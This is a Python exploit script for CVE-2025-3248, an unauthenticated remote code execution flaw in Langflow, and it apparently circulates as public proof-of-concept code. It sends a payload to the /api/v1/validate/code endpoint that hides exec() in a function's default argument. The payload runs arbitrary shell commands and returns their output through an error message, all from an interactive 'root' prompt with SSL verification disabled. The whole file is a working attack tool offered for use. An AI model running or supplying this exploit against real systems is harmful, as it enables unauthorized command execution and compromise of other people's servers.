#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# CVE-2025-3248 - Langflow AI Remote Code Execution (Unauthenticated)
# Author: 0xgh057r3c0n

import argparse
import requests
from urllib.parse import urljoin
import random
from colorama import init, Fore, Style

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
init(autoreset=True)

def print_banner():
    colors = [Fore.GREEN, Fore.CYAN, Fore.MAGENTA, Fore.YELLOW]
    color = random.choice(colors)
    banner = rf"""{color}
_____________   _______________         _______________   ________   .________         ________  ________    _____   ______  
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/         \_____  \ \_____  \  /  |  | /  __  \ 
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______   _(__  <  /  ____/ /   |  |_>      < 
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/  /       \/       \/    ^   /   --   \
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /         /______  /\_______ \____   |\______  /
        \/                  \/                  \/     \/         \/       \/                 \/         \/    |__|       \/ 

    {Fore.RED}CVE-2025-3248 - Langflow AI - Unauth RCE
    Author: 0xgh057r3c0n{Style.RESET_ALL}
"""
    print(banner)

class LangflowExploit:
    def __init__(self, url, timeout=10):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

    def execute(self, command):
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)

            if response.status_code == 200:
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    if error_msg.startswith("b'"):
                        output = error_msg[2:-1].encode().decode('unicode_escape').strip()
                        return output
                    else:
                        return "[!] No command output."
                except Exception as e:
                    return f"[!] JSON parse error: {e}"
            else:
                return f"[!] HTTP {response.status_code} - exploit failed."
        except requests.RequestException as e:
            return f"[!] Request failed: {e}"

def main():
    print_banner()

    parser = argparse.ArgumentParser(description="CVE-2025-3248 | Langflow AI RCE Exploit | by 0xgh057r3c0n")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://host:port)")
    args = parser.parse_args()

    exploit = LangflowExploit(args.url)

    while True:
        try:
            cmd = input(f"{Fore.RED}0xgh057r3c0n@root💀$ {Fore.RESET}").strip()
            if cmd in ["exit", "quit"]:
                print("Exiting...")
                break
            output = exploit.execute(cmd)
            print(output)
        except KeyboardInterrupt:
            print("\nExiting...")
            break

if __name__ == "__main__":
    main()